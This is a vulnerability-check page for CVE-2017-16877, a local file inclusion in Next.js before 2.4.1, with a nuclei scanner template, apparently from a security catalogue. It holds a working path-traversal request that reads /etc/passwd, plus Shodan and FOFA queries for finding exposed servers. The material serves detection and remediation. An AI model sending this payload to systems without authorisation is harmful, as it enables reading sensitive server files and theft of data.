Nextjs <2.4.1 - Local File Inclusion

highseverity

7.5CVSS score

14.1%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

ZEIT Next.js before 2.4.1 is susceptible to local file inclusion via the /_next and /static request namespace, allowing attackers to obtain sensitive information.

Impact

Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, leading to unauthorized access and potential data leakage.

Fix

Upgrade Nextjs to version 2.4.1 or above to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/_next/../../../../../../../../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2017-16877 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2017-16877

info:
  name: Nextjs <2.4.1 - Local File Inclusion
  author: pikpikcu
  severity: high
  description: ZEIT Next.js before 2.4.1 is susceptible to local file inclusion via the /_next and /static request namespace, allowing attackers to obtain sensitive information.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, leading to unauthorized access and potential data leakage.
  remediation: |
    Upgrade Nextjs to version 2.4.1 or above to mitigate this vulnerability.
  reference:
    - https://medium.com/@theRaz0r/arbitrary-file-reading-in-next-js-2-4-1-34104c4e75e9
    - https://github.com/zeit/next.js/releases/tag/2.4.1
    - https://nvd.nist.gov/vuln/detail/CVE-2017-16877
    - https://github.com/vercel/next.js/commit/02fe7cf63f6265d73bdaf8bc50a4f2fb539dcd00
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2017-16877
    cwe-id: CWE-22
    epss-score: 0.14104
    epss-percentile: 0.96596
    cpe: cpe:2.3:a:zeit:next.js:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: zeit
    product: next.js
    shodan-query:
      - http.html:"/_next/static"
      - cpe:"cpe:2.3:a:zeit:next.js"
    fofa-query: body="/_next/static"
  tags: cve,cve2017,nextjs,lfi,traversal,zeit,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/_next/../../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
        condition: and

      - type: status
        status:
          - 200

References

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